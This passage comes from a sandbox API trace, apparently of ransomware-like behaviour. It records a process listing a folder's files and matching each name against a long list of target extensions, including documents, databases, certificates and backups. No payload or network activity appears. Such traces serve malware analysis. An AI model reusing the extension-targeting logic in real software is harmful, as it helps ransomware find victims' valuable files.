returned 4 [0096.786] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".epsf") returned 5 [0096.786] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.786] lstrlenW (lpString=".epsp") returned 5 [0096.786] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.786] lstrlenW (lpString=".erf") returned 4 [0096.786] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".exr") returned 4 [0096.786] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".f4v") returned 4 [0096.786] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".fido") returned 5 [0096.786] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.786] lstrlenW (lpString=".flm") returned 4 [0096.786] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".flv") returned 4 [0096.786] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".frm") returned 4 [0096.787] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".fxg") returned 4 [0096.787] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".geo") returned 4 [0096.787] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".gif") returned 4 [0096.787] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".grs") returned 4 [0096.787] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".gz") returned 3 [0096.787] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.787] lstrlenW (lpString=".h") returned 2 [0096.787] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.787] lstrlenW (lpString=".hdr") returned 4 [0096.787] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".hpp") returned 4 [0096.787] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".hta") returned 4 [0096.787] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".htc") returned 4 [0096.787] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".htm") returned 4 [0096.787] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.787] lstrlenW (lpString=".html") returned 5 [0096.787] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.787] lstrlenW (lpString=".icb") returned 4 [0096.787] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".ics") returned 4 [0096.788] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".iff") returned 4 [0096.788] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".inc") returned 4 [0096.788] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".indd") returned 5 [0096.788] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0096.788] lstrlenW (lpString=".ini") returned 4 [0096.788] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".iqy") returned 4 [0096.788] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".j2c") returned 4 [0096.788] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".j2k") returned 4 [0096.788] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".java") returned 5 [0096.788] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0096.788] lstrlenW (lpString=".jp2") returned 4 [0096.788] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".jpc") returned 4 [0096.788] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".jpe") returned 4 [0096.788] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0096.788] lstrlenW (lpString=".jpeg") returned 5 [0096.788] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0096.788] lstrlenW (lpString=".jpf") returned 4 [0096.788] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".jpg") returned 4 [0096.789] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".jpx") returned 4 [0096.789] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".js") returned 3 [0096.789] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0096.789] lstrlenW (lpString=".jsf") returned 4 [0096.789] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".json") returned 5 [0096.789] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0096.789] lstrlenW (lpString=".jsp") returned 4 [0096.789] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".kdc") returned 4 [0096.789] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".kmz") returned 4 [0096.789] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".kwm") returned 4 [0096.789] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".lasso") returned 6 [0096.789] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0096.789] lstrlenW (lpString=".lbi") returned 4 [0096.789] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".lgf") returned 4 [0096.789] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0096.789] lstrlenW (lpString=".lgp") returned 4 [0096.789] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".log") returned 4 [0096.790] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".m1v") returned 4 [0096.790] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".m4a") returned 4 [0096.790] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".m4v") returned 4 [0096.790] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".max") returned 4 [0096.790] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".md") returned 3 [0096.790] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.790] lstrlenW (lpString=".mda") returned 4 [0096.790] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mdb") returned 4 [0096.790] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mde") returned 4 [0096.790] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mdf") returned 4 [0096.790] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mdw") returned 4 [0096.790] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mef") returned 4 [0096.790] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mft") returned 4 [0096.790] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mfw") returned 4 [0096.790] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.790] lstrlenW (lpString=".mht") returned 4 [0096.791] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mhtml") returned 6 [0096.791] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.791] lstrlenW (lpString=".mka") returned 4 [0096.791] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mkidx") returned 6 [0096.791] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.791] lstrlenW (lpString=".mkv") returned 4 [0096.791] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mos") returned 4 [0096.791] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mov") returned 4 [0096.791] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mp3") returned 4 [0096.791] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mp4") returned 4 [0096.791] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mpeg") returned 5 [0096.791] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.791] lstrlenW (lpString=".mpg") returned 4 [0096.791] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mpv") returned 4 [0096.791] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mrw") returned 4 [0096.791] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".msg") returned 4 [0096.791] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.791] lstrlenW (lpString=".mxl") returned 4 [0096.791] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".myd") returned 4 [0096.792] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".myi") returned 4 [0096.792] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".nef") returned 4 [0096.792] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".nrw") returned 4 [0096.792] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".obj") returned 4 [0096.792] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".odb") returned 4 [0096.792] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".odc") returned 4 [0096.792] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".odm") returned 4 [0096.792] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".odp") returned 4 [0096.792] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".ods") returned 4 [0096.792] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".oft") returned 4 [0096.792] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.792] lstrlenW (lpString=".one") returned 4 [0096.792] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.793] lstrlenW (lpString=".onepkg") returned 7 [0096.793] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.793] lstrlenW (lpString=".onetoc2") returned 8 [0096.793] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.793] lstrlenW (lpString=".opt") returned 4 [0096.794] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".oqy") returned 4 [0096.794] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".orf") returned 4 [0096.794] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".p12") returned 4 [0096.794] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".p7b") returned 4 [0096.794] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".p7c") returned 4 [0096.794] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pam") returned 4 [0096.794] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pbm") returned 4 [0096.794] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pct") returned 4 [0096.794] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pcx") returned 4 [0096.794] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pdd") returned 4 [0096.794] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pdf") returned 4 [0096.794] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pdp") returned 4 [0096.794] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pef") returned 4 [0096.794] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.794] lstrlenW (lpString=".pem") returned 4 [0096.795] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".pff") returned 4 [0096.795] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".pfm") returned 4 [0096.795] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".pfx") returned 4 [0096.795] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".pgm") returned 4 [0096.795] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".php") returned 4 [0096.795] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".php3") returned 5 [0096.795] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.795] lstrlenW (lpString=".php4") returned 5 [0096.795] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.795] lstrlenW (lpString=".php5") returned 5 [0096.795] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.795] lstrlenW (lpString=".phtml") returned 6 [0096.795] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.795] lstrlenW (lpString=".pict") returned 5 [0096.795] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.795] lstrlenW (lpString=".pl") returned 3 [0096.795] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.795] lstrlenW (lpString=".pls") returned 4 [0096.795] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.795] lstrlenW (lpString=".pm") returned 3 [0096.795] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.795] lstrlenW (lpString=".png") returned 4 [0096.796] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".pnm") returned 4 [0096.796] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".pot") returned 4 [0096.796] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".potm") returned 5 [0096.796] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.796] lstrlenW (lpString=".potx") returned 5 [0096.796] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.796] lstrlenW (lpString=".ppa") returned 4 [0096.796] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".ppam") returned 5 [0096.796] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.796] lstrlenW (lpString=".ppm") returned 4 [0096.796] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".pps") returned 4 [0096.796] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".ppsm") returned 5 [0096.796] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.796] lstrlenW (lpString=".ppt") returned 4 [0096.796] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".pptm") returned 5 [0096.796] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.796] lstrlenW (lpString=".pptx") returned 5 [0096.796] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.796] lstrlenW (lpString=".prn") returned 4 [0096.796] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.796] lstrlenW (lpString=".ps") returned 3 [0096.797] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.797] lstrlenW (lpString=".psb") returned 4 [0096.797] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".psd") returned 4 [0096.797] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".pst") returned 4 [0096.797] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".ptx") returned 4 [0096.797] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".pub") returned 4 [0096.797] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".pwm") returned 4 [0096.797] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".pxr") returned 4 [0096.797] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".py") returned 3 [0096.797] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.797] lstrlenW (lpString=".qt") returned 3 [0096.797] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.797] lstrlenW (lpString=".r3d") returned 4 [0096.797] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".raf") returned 4 [0096.797] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0096.797] lstrlenW (lpString=".rar") returned 4 [0096.797] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.797] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.798] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0096.798] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.154] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0097.155] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0097.187] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0097.187] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0097.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26 [0097.187] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0097.188] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.188] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.188] lstrlenW (lpString="eula.rtf") returned 8 [0097.188] lstrlenW (lpString=".1cd") returned 4 [0097.188] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.188] lstrlenW (lpString=".3ds") returned 4 [0097.188] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0097.188] lstrlenW (lpString=".3fr") returned 4 [0097.188] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0097.188] lstrlenW (lpString=".3g2") returned 4 [0097.188] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0097.188] lstrlenW (lpString=".3gp") returned 4 [0097.188] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0097.189] lstrlenW (lpString=".7z") returned 3 [0097.189] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.189] lstrlenW (lpString=".accda") returned 6 [0097.189] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0097.189] lstrlenW (lpString=".accdb") returned 6 [0097.189] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0097.189] lstrlenW (lpString=".accdc") returned 6 [0097.189] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0097.189] lstrlenW (lpString=".accde") returned 6 [0097.189] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0097.189] lstrlenW (lpString=".accdt") returned 6 [0097.189] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0097.189] lstrlenW (lpString=".accdw") returned 6 [0097.189] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0097.189] lstrlenW (lpString=".adb") returned 4 [0097.189] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0097.189] lstrlenW (lpString=".adp") returned 4 [0097.190] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ai") returned 3 [0097.190] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0097.190] lstrlenW (lpString=".ai3") returned 4 [0097.190] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ai4") returned 4 [0097.190] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ai5") returned 4 [0097.190] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ai6") returned 4 [0097.190] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ai7") returned 4 [0097.190] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ai8") returned 4 [0097.190] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".anim") returned 5 [0097.190] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0097.190] lstrlenW (lpString=".arw") returned 4 [0097.190] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".as") returned 3 [0097.190] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0097.190] lstrlenW (lpString=".asa") returned 4 [0097.190] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".asc") returned 4 [0097.190] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0097.190] lstrlenW (lpString=".ascx") returned 5 [0097.190] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0097.190] lstrlenW (lpString=".asm") returned 4 [0097.191] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".asmx") returned 5 [0097.191] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0097.191] lstrlenW (lpString=".asp") returned 4 [0097.191] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".aspx") returned 5 [0097.191] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0097.191] lstrlenW (lpString=".asr") returned 4 [0097.191] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".asx") returned 4 [0097.191] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".avi") returned 4 [0097.191] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".avs") returned 4 [0097.191] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".backup") returned 7 [0097.191] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0097.191] lstrlenW (lpString=".bak") returned 4 [0097.191] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".bay") returned 4 [0097.191] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".bd") returned 3 [0097.191] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0097.191] lstrlenW (lpString=".bin") returned 4 [0097.191] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".bmp") returned 4 [0097.191] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0097.191] lstrlenW (lpString=".bz2") returned 4 